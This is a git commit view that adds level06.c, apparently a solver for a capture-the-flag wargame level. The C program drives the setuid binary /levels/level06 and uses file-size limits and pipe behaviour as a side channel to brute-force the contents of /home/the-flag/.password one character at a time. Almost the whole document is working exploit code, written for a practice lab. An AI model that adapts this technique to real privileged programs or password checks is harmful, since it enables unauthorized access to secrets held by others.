aboutsummaryrefslogtreecommitdiffstats
path: root/level06.c
diff options
context:
space:
mode:
Diffstat (limited to 'level06.c')
-rw-r--r--level06.c90
1 files changed, 90 insertions, 0 deletions
diff --git a/level06.c b/level06.c
new file mode 100644
index 0000000..6efac4e
--- /dev/null
+++ b/level06.c
@@ -0,0 +1,90 @@
+#include <stdio.h>
+#include <unistd.h>
+#include <fcntl.h>
+#include <limits.h>
+#include <string.h>
+#include <sys/resource.h>
+#include <sys/stat.h>
+#include <sys/wait.h>
+
+int teststr(const char *str)
+{
+ int out[2];
+ pipe2(out, O_NONBLOCK);
+
+ if (fork()) {
+ int status;
+ close(out[1]);
+ wait(NULL);
+ unlink("./tmp");
+ usleep(30000); // This is way longer than it has to be
+ // for the purposes of looking awesome.
+ status = read(out[0], NULL, 1);
+ close(out[0]);
+ return status == 0;
+
+ } else {
+ int file;
+ char buffer[1025];
+ struct rlimit limit;
+
+ dup2(out[1], 1);
+ close(out[0]);
+
+ file = creat("./tmp", S_IWUSR | S_IRUSR);
+ fcntl(file, F_SETFL, fcntl(file, F_GETFL) & ~O_NONBLOCK);
+ dup2(file, 2);
+
+ getrlimit(RLIMIT_FSIZE, &limit);
+ limit.rlim_cur = 33 + strlen(str);
+ setrlimit(RLIMIT_FSIZE, &limit);
+
+ snprintf(buffer, 1025, "%s~", str);
+ execl("/levels/level06", "level06", "/home/the-flag/.password", buffer, NULL);
+ }
+}
+int checkfull(const char *str)
+{
+ int out[2];
+ pipe(out);
+ if (fork()) {
+ char result[36 + strlen(str)];
+ memset(result, 0, sizeof(result));
+ close(out[1]);
+ wait(NULL);
+ read(out[0], &result, sizeof(result));
+ close(out[0]);
+ return result[sizeof(result) - 2] == 'W';
+ } else {
+ dup2(out[1], 2);
+ close(out[0]);
+ close(1);
+ execl("/levels/level06", "level06", "/home/the-flag/.password", str, NULL);
+ }
+}
+
+
+int main(int argc, char *argv[])
+{
+
+ char buffer[1024];
+ int i;
+ char c;
+ memset(buffer, 0, 1024);
+ for (i = 0; i < 1024; ++i) {
+ for (c = 32; c < 126; ++c) {
+ buffer[i] = c;
+ printf("\r\033[2K%s", buffer);
+ fflush(stdout);
+ if (teststr(buffer)) {
+ if (checkfull(buffer)) {
+ printf("\n");
+ return 0;
+ }
+ break;
+ }
+ }
+ }
+ printf("\r\033[2Kunknown\n");
+ return 1;
+}